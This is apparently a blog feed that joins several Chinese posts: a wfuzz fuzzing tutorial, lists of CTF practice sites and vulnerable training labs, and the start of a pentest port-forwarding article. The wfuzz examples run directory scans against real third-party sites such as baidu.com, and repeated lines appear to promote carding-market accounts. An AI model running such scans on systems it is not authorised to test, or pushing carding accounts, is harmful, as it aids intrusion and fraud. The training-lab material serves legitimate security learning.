In many ways, creating a network of fake carding sites is the perfect cybercrime. After all, nobody is going to call the cops on people who make a living ripping off cybercriminals. Nor will anyone help the poor sucker who gets snookered by one of these fake carding sites. Caveat Emptor!

小丑账号

The post 小丑账号 小丑账号注册 小丑网站介绍 appeared first on 🔰雨苁ℒ🔰.

wfuzz 的安装|用法介绍 渗透测试工具之fuzz

$
0
0

wfuzz 渗透测试工具 漏洞评估

wfuzz工具下载地址:fuzz

wfuzz 是一款Python开发的Web安全模糊测试工具。

简单粗暴的功能特点记录:

  1. 模块化框架可编写插件
  2. 接口可处理BurpSuite所抓的请求和响应报文

简而言之就是wfuzz可以用在做请求参数参数类的模糊测试,也可以用来做Web目录扫描等操作。

它是一个为渗透测试人员打造的渗透测试工具

用法介绍:

  • 安装wfuzz
    pip install wfuzz

    基础用法

wfuzz -w 字典 地址(e.g. https://gh0st.cn/FUZZ)

如上命令使用-w参数指定字典位置,然后跟上一个要测试的地址,所列的例子https://gh0st.cn/FUZZ中有一个FUZZ单词,这个单词可以理解是一个占位符,这样就大概了解了wfuzz的基本运行原理,它会读取字典然后传入占位符进行模糊测试请求。

 

实战完整使用演示:

wfuzz -w test_dict.txt https://gh0st.cn/FUZZ

返回结果如下:

********************************************************
* Wfuzz 2.2.11 - The Web Fuzzer                        *
********************************************************
 
Target: https://gh0st.cn/FUZZ
Total requests: 6
 
==================================================================
ID Response   Lines      Word         Chars          Payload
==================================================================
 
000004:  C=404      1 L      121 W    1636 Ch   "test123"
000003:  C=404      1 L      121 W    1636 Ch   "456"
000006:  C=404      1 L      121 W    1636 Ch   "admin123"
000005:  C=404      1 L      121 W    1636 Ch   "admin"
000001:  C=404      1 L      121 W    1636 Ch   "abc"
000002:  C=404      1 L      121 W    1636 Ch   "123"
 
Total time: 2.122055
Processed Requests: 6
Filtered Requests: 0
Requests/sec.: 2.827447

通过返回结果我们可以知道很多信息,最需要关注的就是ID、Response、 Lines、Word、Chars、Payload这一行,从左往右看,依次是编号、响应状态码、响应报文行数、响应报文字数、响应报文正字符数、测试使用的Payload。

 

了解Wfuzz

通过-h或者–help可以来获取帮助信息。

 

Wfuzz模块

如上所述说到wfuzz是模块化的框架,wfuzz默认自带很多模块,模块分为5种类型分别是:payloads、encoders、iterators、printers和scripts。

 

通过-e参数可以查看指定模块类型中的模块列表:

wfuzz -e payloads

payloads类的模块列表如下:

Available payloads:
 
  Name            | Summary
------------------------------------------------------------------------------------------------------
  guitab          | This payload reads requests from a tab in the GUI
  dirwalk         | Returns filename's recursively from a local directory.
  file            | Returns each word from a file.
  burpstate       | Returns fuzz results from a Burp state.
  wfuzzp          | Returns fuzz results' URL from a previous stored wfuzz session.
  ipnet           | Returns list of IP addresses of a network.
  bing            | Returns URL results of a given bing API search (needs api key).
  stdin           | Returns each item read from stdin.
  list            | Returns each element of the given word list separated by -.
  hexrand         | Returns random hex numbers from the given range.
  range           | Returns each number of the given range.
  names           | Returns possible usernames by mixing the given words, separated by -, using know
                  | n typical constructions.
  hexrange        | Returns each hex number of the given hex range.
  permutation     | Returns permutations of the given charset and length.
  buffer_overflow | Returns a string using the following pattern A * given number.
  iprange         | Returns list of IP addresses of a given IP range.
  burplog         | Returns fuzz results from a Burp log.
  autorize        | Returns fuzz results' from autororize.

Wfuzz使用

从上文知道了wfuzz基于一个非常简单的概念:使用payload来替换相应的FUZZ关键词的位置,FUZZ这样的关键词就是占位符,payload就是输入源。

通过wfuzz -e payloads可以获取payloads类的所有模块列表,使用wfuzz -z help可以获取关于payloads类模块的详细信息,也可以通过–slice参数来过滤返回信息的结果。

e.g. wfuzz -z help --slice "names"

Name: names 0.1
Categories: default
Summary: Returns possible usernames by mixing the given words, separated by -, using known typical constructions.
Author: Christian Martorella,Adapted to newer versions Xavi Mendez (@xmendez)
Description:
   ie. jon-smith
Parameters:
   + name: Name and surname in the form of name-surname.

使用(字典)

注:命令中的wordlist表示为字典位置

wfuzz -z file --zP fn=wordlist URL/FUZZ
wfuzz -z file,wordlist URL/FUZZ
wfuzz -w wordlist URL/FUZZ

这里有必要说明下,使用命令意义是一样的,都是使用payloads模块类中的file模块,通过wfuzz -z help –slice “file”看如何使用file模块:

Name: file 0.1
Categories: default
Summary: Returns each word from a file.
Author: Carlos del Ojo,Christian Martorella,Adapted to newer versions Xavi Mendez (@xmendez)
Description:
   Returns the contents of a dictionary file line by line.
Parameters:
   + fn: Filename of a valid dictionary

通过返回的帮助信息,我们知道这个模块需要一个参数fn,这个参数值为字典文件名(绝对路径)。这样子第一条命令一下子就明白了,wfuzz -z file –zP fn=wordlist URL/FUZZ中的-z file使用模块,–zP fn=wordlist是定义fn参数的值(可以这样理解,–zP 这里的P大写代表 Parameters ,然后其他的都是固有个事)

第二条命令简写了第一条命令的赋值,第三条命令使用-w,这个参数就是-z file –zP fn的别名。

 

多个字典

使用-z 或-w 参数可以同时指定多个字典,这时相应的占位符应设置为 FUZZ,FUZ2Z,FUZ3Z,….,FUZnZ, 其中n代表了占位序号。

例如想要同时爆破目录、文件名、后缀,可以这样来玩:

wfuzz -w 目录字典路径 -w 文件名字典路径 -w 后缀名字典路径 URL/FUZZ/FUZ2Z.FUZ3Z

 

过滤器

wfuzz具有过滤器功能,在做测试的过程中会因为环境的问题需要进行过滤,例如在做目录扫描的时候,你事先探测并知道了这个网站访问不存在目录的时候使用的是自定义404页面(也就是状态码为200),而你可以选择提取该自定义页面的特征来过滤这些返回结果。

wfuzz过滤分为两种方法:隐藏符合过滤条件的结果 和 显示符合过滤条件的结果

 

隐藏响应结果

通过–hc,–hl,–hw,–hh参数可以隐藏某些HTTP响应。

  • –hc 根据响应报文状态码进行隐藏(hide code)

隐藏404:

wfuzz -w wordlist --hc 404 URL/FUZZ

 

隐藏404、403:

wfuzz -w wordlist --hc 404,403 URL/FUZZ

e.g. 使用百度举个例子,运行wfuzz -w test_dict.txt https://www.baidu.com/FUZZ结果如下

 

wfuzz

 

这里所有的测试请求,都是不存在的页面,那么百度的404页面规则就是如上图结果所示:响应报文状态码(302)、响应报文行数(7)、响应报文字数(18)、响应报文字符数(222),那么下面的就是填空题了~

 

  • –hl根据响应报文行数进行隐藏(hide lines)

wfuzz -w wordlist --hl 7 https://www.baidu.com/FUZZ

  • –hw根据响应报文字数进行隐藏(hide word)

wfuzz -w wordlist --hw 18 https://www.baidu.com/FUZZ

  • –hh根据响应报文字符数进行隐藏(hide chars 这里因为code和chars首字母都是c,–hc参数已经有了,所以hide chars的参数就变成了–hh)
  • wfuzz -w wordlist --hh 222 https://www.baidu.com/FUZZ

     

如果根据单个条件判断相对来说肯定是不精确的,所以整合一下就是这样的命令:

wfuzz -w wordlist --hc 302 --hl 7 --hw 18 --hh 222 https://www.baidu.com/FUZZ

这样就可以对https://www.baidu.com/进行目录扫描咯~

 

显示响应结果

显示响应结果的使用方法跟隐藏时的原理一样,只不过参数变为了:–sc(show code),–sl(show lines),–sw(show word),–sh (show chars)。

 

使用Baseline(基准线)

过滤器可以是某个HTTP响应的引用,这样的引用我们称为Baseline。

之前的使用–hh进行过滤的例子中,还可以使用下面的命令代替:

wfuzz -w wordlist --hh BBB https://www.baidu.com/FUZZ{404there}

wfuzz

这条命令的意思应该很容易理解,首先要清楚基准线是什么?换个名字:标准线 or 及格线。

 

首先解释下https://www.baidu.com/FUZZ{404there}的意思,这里代表wfuzz第一个请求是请求https://www.baidu.com/404there这个网址,在{ }内的值用来指定wfuzz第一个请求中的FUZZ占位符,而这第一个请求被标记为BBB(BBB不能换成别的)基准线;其次这里使用的参数是–hh,也就是以BBB这条请求中的Chars为基准,其他请求的Chars值与BBB相同则隐藏。

 

使用正则表达式过滤

wfuzz参数–ss和–hs可以使用正则表达式来对返回的结果过滤。

e.g. 在这里一个网站自定义返回页面的内容中包含Not Found,想根据这个内容进行过滤可以使用如下的命令:

wfuzz -w wordlist --hs "Not Found" http://127.0.0.1/FUZZ

wfuzz

 

得出结论使用方法:

wfuzz -w wordlist --hs 正则表达式 URL/FUZZ #隐藏
wfuzz -w wordlist --ss 正则表达式 URL/FUZZ #显示

手册

原文来自:DigApis安全 m0nst3r

 

模块种类

payload

payload为wfuzz生成的用于测试的特定字符串,一般情况下,会替代被测试URL中的FUZZ占位符。 当前版本中的wfuzz中可用payloads列表如下:

Available payloads:
  Name            | Summary                                                                           
------------------------------------------------------------------------------------------------------
  guitab          | 从可视化的标签栏中读取请求                                
  dirwalk         | 递归获得本地某个文件夹中的文件名                            
  file            | 获取一个文件当中的每个词                                                    
  autorize        | 获取autorize的测试结果Returns fuzz results' from autororize.                                            
  wfuzzp          | 从之前保存的wfuzz会话中获取测试结果的URL                   
  ipnet           | 获得一个指定网络的IP地址列表                                        
  bing            | 获得一个使用bing API搜索的URL列表 (需要 api key).                   
  stdin           | 获得从标准输入中的条目                                                
  list            | 获得一个列表中的每一个元素,列表用以 - 符号分格                       
  hexrand         | 从一个指定的范围中随机获取一个hex值                                  
  range           | 获得指定范围内的每一个数值                                          
  names           | 从一个以 - 分隔的列表中,获取以组合方式生成的所有usernames值
  burplog         | 从BurpSuite的记录中获得测试结果                                             
  permutation     | 获得一个在指定charset和length时的字符组合                             
  buffer_overflow | 获得一个包含指定个数个A的字符串.                    
  hexrange        | 获得指定范围内的每一个hex值                                   
  iprange         | 获得指定IP范围内的IP地址列表                                 
  burpstate       | 从BurpSuite的状态下获得测试结果

encoder

encoder的作用是将payload进行编码或加密。 wfuzz的encoder列表如下:

Available encoders:
  Category      | Name                      | Summary                                                                           
------------------------------------------------------------------------------------------------------------------------
  url_safe, url | urlencode                 | 用`%xx`的方式替换特殊字符, 字母/数字/下划线/半角点/减号不替换
  url_safe, url | double urlencode             | 用`%25xx`的方式替换特殊字符, 字母/数字/下划线/半角点/减号不替换
  url              | uri_double_hex            | 用`%25xx`的方式将所有字符进行编码
  html          | html_escape                | 将`&`,`<`,`>`转换为HTML安全的字符
  html            | html_hexadecimal             | 用 `&#xx;` 的方式替换所有字符
  hashes         | base64                    | 将给定的字符串中的所有字符进行base64编码
  url             | doble_nibble_hex             | 将所有字符以`%%dd%dd`格式进行编码
  db             | mssql_char                | 将所有字符转换为MsSQL语法的`char(xx)`形式
  url             | utf8                        | 将所有字符以`\u00xx` 格式进行编码
  hashes         | md5                         | 将给定的字符串进行md5加密
  default         | random_upper                | 将字符串中随机字符变为大写
  url             | first_nibble_hex          | 将所有字符以`%%dd?` 格式进行编码
  default         | hexlify                    | 每个数据的单个比特转换为两个比特表示的hex表示
  url             | second_nibble_hex         | 将所有字符以`%?%dd` 格式进行编码
  url             | uri_hex                     | 将所有字符以`%xx` 格式进行编码
  default         | none                         | 不进行任何编码
  hashes         | sha1                        | 将字符串进行sha1加密
  url             | utf8_binary                | 将字符串中的所有字符以 `\uxx` 形式进行编码
  url             | uri_triple_hex             | 将所有字符以`%25%xx%xx` 格式进行编码
  url             | uri_unicode                | 将所有字符以`%u00xx` 格式进行编码
  html             | html_decimal                | 将所有字符以 `&#dd; ` 格式进行编码
  db             | oracle_char                | 将所有字符转换为Oracle语法的`chr(xx)`形式
  db             | mysql_char                 | 将所有字符转换为MySQL语法的`char(xx)`形式

iterator

wfuzz的iterator提供了针对多个payload的处理方式。 itorators的列表如下:

Available iterators:
 
  Name    | Summary
----------------------------------------------------------------------------------------------
  product | Returns an iterator cartesian product of input iterables.
  zip     | Returns an iterator that aggregates elements from each of the iterables.
  chain   | Returns an iterator returns elements from the first iterable until it is exhaust
          | ed, then proceeds to the next iterable, until all of the iterables are exhausted
          | .
printer
wfuzz的printers用于控制输出打印。 printers列表如下:
 
Available printers:
  Name      | Summary                             
--------------------------------------------------
  raw       | `Raw` output format
  json      | Results in `json` format
  csv       | `CSV` printer ftw
  magictree | Prints results in `magictree` format
  html      | Prints results in `html` format

scripts

scripts列表如下:

Available scripts:
  Category                   | Name          | Summary
----------------------------------------------------------------------------------------------------
  default, passive           | cookies       | 查找新的cookies
  default, passive           | errors        | 查找错误信息
  passive                    | grep          | HTTP response grep
  active                     | screenshot    | 用linux cutycapt tool 进行屏幕抓取
  default, active, discovery | links         | 解析HTML并查找新的内容
  default, active, discovery | wc_extractor  | 解析subversion的wc.db文件
  default, passive           | listing       | 查找列目录漏洞
  default, passive           | title         | 解析HTML页面的title
  default, active, discovery | robots        | 解析robots.txt文件来查找新内容
  default, passive           | headers       | 查找服务器的返回头
  default, active, discovery | cvs_extractor | 解析 CVS/Entries 文件
  default, active, discovery | svn_extractor | 解析 .svn/entries 文件
  active, discovery          | backups       | 查找已知的备份文件名
  default, active, discovery | sitemap       | 解析 sitemap.xml 文件

内置工具

wfencode 工具

这是wfuzz自带的一个加密/解密(编码/反编码)工具,目前支持内建的encoders的加/解密。

wfencode -e base64 123456
[RES] MTIzNDU2
wfencode -d base64 MTIzNDU2
[RES] 123456

wfpayload工具

wfpayload是payload生成工具

wfpayload -z range,0-10
[RES]
0
1
2
3
4
5
6
7
8
9
10

wxfuzz 工具

这个看源码是一个wxPython化的wfuzz,也就是GUI图形界面的wfuzz。目前需要wxPython最新版本才能使用,但是在ParrotOS和Kali上都无法正常安装成功,问题已在GitHub提交Issue,期待开发者的回复中…

 

wfuzz命令中文帮助

Usage:    wfuzz [options] -z payload,params <url>
    FUZZ, ..., FUZnZ              payload占位符,wfuzz会用指定的payload代替相应的占位符,n代表数字.
    FUZZ{baseline_value}     FUZZ 会被 baseline_value替换,并将此作为测试过程中第一个请求来测试,可用来作为过滤的一个基础。
Options:
    -h/--help            : 帮助文档
    --help                : 高级帮助文档
    --version            : Wfuzz详细版本信息
    -e <type>            :  显示可用的encoders/payloads/iterators/printers/scripts列表
    --recipe <filename>        : 从文件中读取参数
    --dump-recipe <filename>    : 打印当前的参数并保存成文档
    --oF <filename>               : 将测试结果保存到文件,这些结果可被wfuzz payload 处理
    -c                : 彩色化输出
    -v                : 详细输出
    -f filename,printer         : 将结果以printer的方式保存到filename (默认为raw printer).
    -o printer                  : 输出特定printer的输出结果
    --interact            : (测试功能) 如果启用,所有的按键将会被捕获,这使得你能够与程序交互
    --dry-run            : 打印测试结果,而并不发送HTTP请求
    --prev                : 打印之前的HTTP请求(仅当使用payloads来生成测试结果时使用)
    -p addr                : 使用代理,格式 ip:port:type. 可设置多个代理,type可取的值为SOCKS4,SOCKS5 or HTTP(默认)
    -t N                : 指定连接的并发数,默认为10
    -s N                : 指定请求的间隔时间,默认为0
    -R depth            : 递归路径探测,depth指定最大递归数量
    -L,--follow            : 跟随HTTP重定向
    -Z                : 扫描模式 (连接错误将被忽视).
    --req-delay N            : 设置发送请求允许的最大时间,默认为 90,单位为秒.
    --conn-delay N              : 设置连接等待的最大时间,默认为 90,单位为秒.
    -A                : 是 --script=default -v -c 的简写
    --script=            : 与 --script=default 等价
    --script=<plugins>        : 进行脚本扫描, <plugins> 是一个以逗号分开的插件或插件分类列表
    --script-help=<plugins>        : 显示脚本的帮助
    --script-args n1=v1,...     : 给脚本传递参数. ie. --script-args grep.regex="<A href=\"(.*?)\">"
    -u url                      : 指定请求的URL
    -m iterator            : 指定一个处理payloads的迭代器 (默认为product)
    -z payload            : 为每一个占位符指定一个payload,格式为 name[,parameter][,encoder].
                      编码可以是一个列表, 如 md5-sha1. 还可以串联起来, 如. md5@sha1.
                      还可使用编码各类名,如 url
                                      使用help作为payload来显示payload的详细帮助信息,还可使用--slice进行过滤
    --zP <params>            : 给指定的payload设置参数。必须跟在 -z 或-w 参数后面
    --slice <filter>        : 以指定的表达式过滤payload的信息,必须跟在-z 参数后面
    -w wordlist            : 指定一个wordlist文件,等同于 -z file,wordlist
    -V alltype            : 暴力测试所有GET/POST参数,无需指定占位符
    -X method            : 指定一个发送请求的HTTP方法,如HEAD或FUZZ
    -b cookie            : 指定请求的cookie参数,可指定多个cookie
    -d postdata             : 设置用于测试的POST data (ex: "id=FUZZ&catalogue=1")
    -H header              : 设置用于测试请求的HEADER (ex:"Cookie:id=1312321&user=FUZZ"). 可指定多个HEADER.
    --basic/ntlm/digest auth    : 格式为 "user:pass" or "FUZZ:FUZZ" or "domain\FUZ2Z:FUZZ"
    --hc/hl/hw/hh N[,N]+        : 以指定的返回码/行数/字数/字符数作为判断条件隐藏返回结果 (用 BBB 来接收 baseline)
    --sc/sl/sw/sh N[,N]+        : 以指定的返回码/行数/字数/字符数作为判断条件显示返回结果 (用 BBB 来接收 baseline)
    --ss/hs regex            : 显示或隐藏返回结果中符合指定正则表达式的返回结果
    --filter <filter>        : 显示或隐藏符合指定filter表达式的返回结果 (用 BBB 来接收 baseline)
    --prefilter <filter>        : 用指定的filter表达式在测试之前过滤某些测试条目

from

The post wfuzz 的安装|用法介绍 渗透测试工具之fuzz appeared first on 🔰雨苁ℒ🔰.

在线函数绘图 数学函数图像在线生成 f(x)

$
0
0

在线函数绘图 数学函数图像在线生成 f(x)

在线函数绘图

点击进行函数绘图

功能支持

加法(X+Y)

减法(X-Y)

乘法(x*y)或(x)(y)

除法(X/Y)

指数(x^ y)或x^(1/y)的根

sin, cos, tan, asin, acos, atan, abs 单变量求值(包含表达式字符串中的“x”)

测试结果如下:  更多html页面请访问:html特效

html学习w3school

地址:ddosi.com/hs/index.html

The post 在线函数绘图 数学函数图像在线生成 f(x) appeared first on 🔰雨苁ℒ🔰.

22个黑客技术练习网站 黑客技巧学习 ctf

$
0
0

22个黑客技术练习网站 小丑账号

22个黑客技术练习网站 用CTFS和战争游戏练习你的黑客技能

信息技术的需求量现在很高。随着世界继续将一切变成应用程序,甚至连最基本的设备都连接到互联网,需求只会增长,所以现在每个人都想学习黑客也就不足为奇了。

然而,几乎每天我都会遇到一个论坛帖子,有人在问他们应该从哪里开始学习黑客或者如何练习黑客。我列出了一些最好的黑客网站,希望这些网站能成为那些想知道如何建立和实践黑客技能的人的宝贵资源。我希望您发现这个列表有帮助,,如果你知道任何其他高质量的黑客网站提交给我,方便我列入清单

1.  CTF365On CTF365 users build and defend their own servers while launching attacks on other users’ servers. The CTF365 training environment is designed for security professionals who are interested in training their offensive skills or sysadmins interested in improving their defensive skills. If you are a beginner to infosec, you can sign up for a free beginner account and get your feet wet with some pre-configured vulnerable servers.

2.  OVERTHEWIREOverTheWire is designed for people of all experience levels to learn and practice security concepts. Absolute beginners are going to want to start on the Bandit challenges because they are the building blocks you’ll use to complete the other challenges.

3.  HACKING-LABHacking-Lab provides the CTF challenges for the European Cyber Security Challenge, but they also host ongoing challenges on their platform that anyone can participate in. Just register a free account, setup vpn and start exploring the challenges they offer.

4.  PWNABLE.KRpwnable.kr focuses on ‘pwn’ challenges, similar to CTF, which require you find, read and submit ‘flag’ files corresponding to each challenge. You must use some sort of programming, reverse-engineering or exploitation skill to access the content of the files before you are able to submit the solution.

They divide up the challenge into 4 skill levels: Toddler’s Bottle, Rookiss, Grotesque and Hacker’s Secret. Toddler’s Bottle are very easy challenges for beginners, Rookiss is rookie level exploitation challenges, Grotesque challenges become much more difficult and painful to solve and, finally, Hacker’s Secret challenges require special techniques to solve.

5.  IOIO is a wargame from the createors of netgarage.org, a community project where like-minded people share knowledge about security, AI, VR and more. They’ve created 3 versions, IO, IO64 and IOarm, with IO being the most mature. Connect to IO via SSH and you can begin hacking on their challenges.

6.  SMASHTHESTACKSmashTheStack is comprised of 7 different wargames – Amateria, Apfel (currently offline), Blackbox, Blowfish, CTF (currently offline), Logic and Tux. Every wargame has a variety of challenges ranging from standard vulnerabilities to reverse engineering challenges.

7.  MICROCORRUPTIONMicrocorruption is an embedded security CTF where you have to reverse engineer fictional Lockitall electronic lock devices. The Lockitall devices secure the bearer bounds housed in warehouses owned by the also fictional Cy Yombinator company. Along the way you’ll learn some assembly, how to use a debugger, how to single step the lock code, set breakpoints, and examine memory all in an attempt to steal the bearer bonds from the warehouses.

8.  REVERSING.KRreversing.kr has 26 challenges to test your cracking and reverse engineering abilities. The site hasn’t been updated since the end of 2012, but the challenges available are still valuable learning resources.

9.  HACK THIS SITEHack This Site is a free wargames site to test and expand your hacking skills. It features numerous hacking missions across multiple categories including Basic, Realistic, Application, Programming, Phonephreaking, JavaScript, Forensic, Extbasic, Stego and IRC missions. It also boasts a large community with a large catalog of hacking articles and a forum for to have discussions on security related topics. Finally, they’ve recently announced they are going to be overhauling the dated site and codebase, so expect some big improvements in the coming months.

10.  W3CHALLSW3Challs is a pentesting training platform with numerous challenges across different categories including Hacking, Cracking, Wargames, Forensic, Cryptography, Steganography and Programming. The aim of the platform is to provide realistic challenges, not simulations and points are awarded based on the difficulty of the challenge (easy, medium, hard). There’s a forum where you can discuss and walkthrough the challenges with other members.

11.  PWN0pwn0 is the VPN where (almost) anything goes. Go up against pwn0bots or other users and score points by gaining root on other systems.

12.  EXPLOIT EXERCISESExploit Exercises provides a variety of virtual machines, documentation and challenges that can be used to learn about a variety of computer security issues such as privilege escalation, vulnerability analysis, exploit development, debugging, reverse engineering, and general cyber security issues.

13.  RINGZER0 TEAM ONLINE CTFRingZer0 Team Online CTF offers a ton of challenges, 234 as of this post, that will test your hacking skills across multiple categories including Cryptography, Jail Escaping, Malware Analysis, SQL Injection, Shellcoding and more. After you successfully complete a challenge, you can write up your solution and submit it to the RingZer0 Team. If your write up is accepted, you’ll earn RingZer0Gold which can be exchanged for hints during future challenges.

14.  HELLBOUND HACKERSHellbound Hackers offers traditional exploit challenges, but they also offer some challenges that others don’t such as web and app patching and timed challenges. The web and app patching challenges have you evaluating a small snippet of code, identifying the exploitable line of code and suggesting a the code to patch it. The timed challenges have the extra constraint of solving the challenge in a set amount of time. I thought these two categories were a cool differentiator from most other CTF sites.

15.  TRY2HACKTry2Hack provides several security oriented challenges for your entertainment and is one of the oldest challenge sites still around. The challenges are diverse and get progressively harder.

16.  HACK.MEHack.me is a large collection of vulnerable web apps for practicing your offensive hacking skills. All vulnerable web apps are contributed by the community and each one can be run on the fly in a safe, isolated sandbox.

17.  HACKTHIS!!HackThis!! is comprised of 50+ hacking levels with each worth a set number of points depending on its difficulty level. Similar to Hack This Site, HackThis!! also features a lively community, numerous hacking related articles and news, and a forum where you can discuss the levels and a security related topics that might be of interest to you.

18.  ENIGMA GROUPEnigma Group has over 300 challenges with a focus on the OWASP Top 10 exploits. They boast nearly 48,000 active members and host weekly CTF challenges as well as weekly and monthly contests.

19.  GOOGLE GRUYEREGoogle Gruyere shows how web application vulnerabilities can be exploited and how to defend against these attacks. You’ll get a chance to do some real penetration testing and actually exploit a real application with attacks like XSS and XSRF.

20.  GAME OF HACKSGame of Hacks presents you with a series of code snippets, multiple choice quiz style, and you must identify the correct vulnerability in the code. While it’s not nearly as in depth as the others on this list, it’s a nice game for identifying vulnerabilities within source code.

21.  ROOT MERoot Me hosts over 200 hacking challenges and 50 virtual environments allowing you to practice your hacking skills across a variety of scenarios. It’s definitely one of the best sites on this list.

22.  CTFTIMEWhile CTFtime is not a hacking site like the others on this list, it is great resource to stay up to date on CTF events happening around the globe. So if you’re interested in joining a CTF team or participating in an event, then this is the resource for you.

22个黑客技术练习网站 from

The post 22个黑客技术练习网站 黑客技巧学习 ctf appeared first on 🔰雨苁ℒ🔰.

28个渗透测试靶场 常见web漏洞教学 渗透测试环境

$
0
0

28个渗透测试靶场 黑客学习资源汇总

28个渗透测试靶场

OWASP Broken Web Apps
分享渗透测试演练环境,里面继承了57个数据库的渗透测试环境。包括aspx,asp,php,jsp等等各种演练环境。
http://pan.baidu.com/s/1o7VQPZk
密码:09qz

常见靶场

  • DVWA (Dam Vulnerable Web Application)
    DVWA是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞。

链接地址:http://www.dvwa.co.uk

  • mutillidaemutillidae
    mutillidaemutillidae是一个免费,开源的Web应用程序,提供专门被允许的安全测试和入侵的Web应用程序。它是由Adrian “Irongeek” Crenshaw和Jeremy “webpwnized” Druin.开发的一款自由和开放源码的Web应用程序。其中包含了丰富的渗透测试项目,如SQL注入、跨站脚本、clickjacking、本地文件包含、远程代码执行等.

链接地址:http://sourceforge.net/projects/mutillidae

  • SQLol
    SQLol是一个可配置得SQL注入测试平台,它包含了一系列的挑战任务,让你在挑战中测试和学习SQL注入语句。此程序在Austin黑客会议上由Spider Labs发布。

链接地址:https://github.com/SpiderLabs/SQLol

  • hackxor
    hackxor是由albino开发的一个online黑客游戏,亦可以下载安装完整版进行部署,包括常见的WEB漏洞演练。包含常见的漏洞XSS、CSRF、SQL注入、RCE等。

链接地址:http://sourceforge.net/projects/hackxor

  • BodgeIt
    BodgeIt是一个Java编写的脆弱性WEB程序。他包含了XSS、SQL注入、调试代码、CSRF、不安全的对象应用以及程序逻辑上面的一些问题。
  • Exploit KB
    该程序包含了各种存在漏洞的WEB应用,可以测试各种SQL注入漏洞。此应用程序还包含在BT5里

链接地址:http://exploit.co.il/projects/vuln-web-app

  • WackoPicko
    WackoPicko是由Adam Doupé.发布的一个脆弱的Web应用程序,用于测试Web应用程序漏洞扫描工具。它包含了命令行注射、sessionid问题、文件包含、参数篡改、sql注入、xss、flash form反射性xss、弱口令扫描等。

链接地址:https://github.com/adamdoupe/WackoPicko

  • WebGoat
    WebGoat是由著名的OWASP负责维护的一个漏洞百出的J2EE Web应用程序,这些漏洞并非程序中的bug,而是故意设计用来讲授Web应用程序安全课程的。这个应用程序提供了一个逼真的教学环境,为用户完成课程提供了有关的线索。

链接地址:http://code.google.com/p/webgoat

  • OWASP Hackademic
    OWASP Hackademic 是由OWASP开发的一个项目,你可以用它来测试各种攻击手法,目前包含了10个有问题的WEB应用程序。

链接地址:https://code.google.com/p/owasp-hackademic-challenges

  • XSSeducation
    XSSeducation是由AJ00200开发的一套专门测试跨站的程序。里面包含了各种场景的测试。

链接地址: http://wiki.aj00200.org/wiki/XSSeducation

  • Google XSS 游戏
    Google推出的XSS小游戏

链接地址:https://xss-game.appspot.com/

  • Web for Pentester
  1. for pentester是国外安全研究者开发的的一款渗透测试平台,通过该平台你可以了解到常见的Web漏洞检测技术。具体包括 XSS跨站脚本攻击, SQL注入, 目录遍历. 命令注入, 代码注入, XML攻击, LDAP攻击, 文件上传 以及一些指纹识别技术
  • DVWA-WooYun(乌云靶场)
    DVWA-WooYun是一个基于DVWA的PHP+Mysql漏洞模拟练习环境,通过将乌云主站上的有趣漏洞报告建模,以插件形式复现给使用该软件的帽子们,可以让乌云帽子们获得读报告体验不到的真实感,在实践的过程中可以无缝隙地深入理解漏洞的原理及利用方式 中英双字,如果您语文学的不好不必担心了,界面提示英文的(DVWA原厂),内容提示中英双字(后来觉得比较眼花,所以去掉了部分英文)
  • Metasploitable
    著名的渗透框架 Metasploit 出品方 rapid7 还提供了配置好的环境 Metasploitable,是一个打包好的操作系统虚拟机镜像,使用 VMWare 的格式。可以使用 VMWare Workstation(也可以用免费精简版的 VMWare Player )“开机”运行。

链接地址:https://information.rapid7.com/metasploitable-download.html
下载地址:http://downloads.metasploit.com/data/metasploitable/metasploitable-linux-2.0.0.zip

  • OWASP Broken Web Applications Project
    跟 Metasploitable 类似,这也是打包好的虚拟机镜像,预装了许多带有漏洞的 Web 应用,有真实世界里的流行网站应用如 Joomla, WordPress 等的历史版本(带公开漏洞),也有 WebGoat, DVWA 等专门用于漏洞测试的模拟环境。

链接地址:https://code.google.com/p/owaspbwa/

  • XCTF_OJ
    XCTF-OJ (X Capture The Flag Online Judge)是由 XCTF 组委会组织开发并面向 XCTF 联赛参赛者提供的网络安全技术对抗赛练习平台。XCTF-OJ 平台将汇集国内外 CTF 网络安全竞赛的真题题库,并支持对部分可获取在线题目交互环境的重现恢复,XCTF 联赛后续赛事在赛后也会把赛题离线文件和在线交互环境汇总至 XCTF-OJ 平台,形成目前全球 CTF 社区唯一一个提供赛题重现复盘练习环境的站点资源。

链接地址:http://oj.xctf.org.cn/

  • PWNABLE.KR
    以上都是网页服务器安全相关的靶场,再推荐一个练习二进制 pwn 的网站:Pwnable.kr。pwnable 这类题目在国外 CTF 较为多见,通常会搭建一个有漏洞(如缓冲区溢出等)的 telnet 服务,给出这个服务后端的二进制可执行文件让答题者逆向,简单一点的会直接给源代码,找出漏洞并编写利用程序后直接攻下目标服务获得答案。这个网站里由简到难列出了许多关卡,现在就上手试试吧。

链接地址:http://pwnable.kr/%3Fp%3Dprobs

后期补充

http://www.2cto.com/article/201410/341409.html

Github: https://github.com/haozime/xss-demo

在线挑战:
http://test.xss.tv

The post 28个渗透测试靶场 常见web漏洞教学 渗透测试环境 appeared first on 🔰雨苁ℒ🔰.

渗透测试之端口转发与代理 常用端口转发方法

$
0
0

渗透测试之端口转发与代理

渗透测试之端口转发与代理

0x00 前言 小丑账号 小丑账号注册 小丑网站介绍


在渗透测试中,经常会使用到端口转发和代理。

端口转发是转发一个网络端口从一个网络节点到另一个网络节点的行为。

实际应用中需要考虑两种情况:

  • Client->Transit server->Server:Client能够正向连接Transit server。Transit server直接转发即可
  • Client<-Transit server->Server:Client无法正向连接Transit server,但Transit server能够反向连接Client。

如果Client要对Server的多个端口进行扫描(或是多个Server的多个端口),逐个配置转发规则很不现实。

为了提高效率,这里可以使用代理,配置一次规则即可。

本文将对常用方法和工具进行整理总结,分门别类,区分正向和反向连接,区分转发和代理,分析其中的联系和区别,并给出应用场景,以作参考。

0x01 简介


本文将要介绍以下内容:

  • 针对Windows系统和Linux系统(Ubuntu和CentOS)下的方法
  • 端口转发——正向连接的方法
  • 端口转发——反向连接的方法
  • 正向代理的方法
  • 反向代理的方法
  • 以上方法的应用场景

注:

Go语言支持跨平台编译,所以本文更侧重于介绍Go语言实现的工具

0x02 端口转发——正向连接


0、应用场景

1.流量转发的跳板

用于隐藏真实的服务器地址

CIA Hive Beacon Infrastructure中端口转发使用的是Linux的iptables

如下图中的(2)

渗透测试之端口转发与代理

注:

